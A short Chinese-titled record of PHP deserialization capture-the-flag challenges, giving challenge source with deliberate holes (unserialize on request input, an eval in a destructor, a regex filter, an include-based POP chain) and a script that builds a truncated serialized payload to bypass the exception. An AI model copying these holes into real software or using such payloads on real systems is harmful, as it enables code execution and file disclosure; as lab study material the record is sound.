PHP 反序列化题记录

include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
include 'flag.php';
class Name{
    public $username = 'nonono';
    public $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}

error_reporting(0);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        eval($this->cmd.'114514');
    }
}
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
    unserialize($_GET['Pochy']);
} else {
    die("hacker!");
}

<?php
class night {
    public $night;
    public function __destruct() {
        echo $this->night . '哒咩哟';
    }
}
class day {
    public $day;
    public function __toString() {
        echo $this->day->go();
    }
    public function __call($a, $b) {
        echo $this->day->getFlag();
    }
}
class light {
    public $light;
    public function __invoke() {
        echo $this->light->d();
    }
}
class dark {
    public $dark;
    public function go() {
        ($this->dark)();
    }
    public function getFlag() {
        include(hacked($this->dark));
    }
}
function hacked($s) {
    if(substr($s, 0,1) == '/') {
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}
$un = unserialize($_POST['pop']);
throw new Exception('seino');

$p = new night;
$p -> night = new day;
$p -> night -> day = new dark;
$p -> night -> day -> dark = new light;
$p -> night -> day -> dark -> light = new day;
$p -> night -> day -> dark -> light -> day = new dark;
$p -> night -> day -> dark -> light -> day -> dark = $path;
$sp = serialize($p);
$sp = substr($sp, 0, strlen($sp)-1);
echo "\n" . $sp . "\n";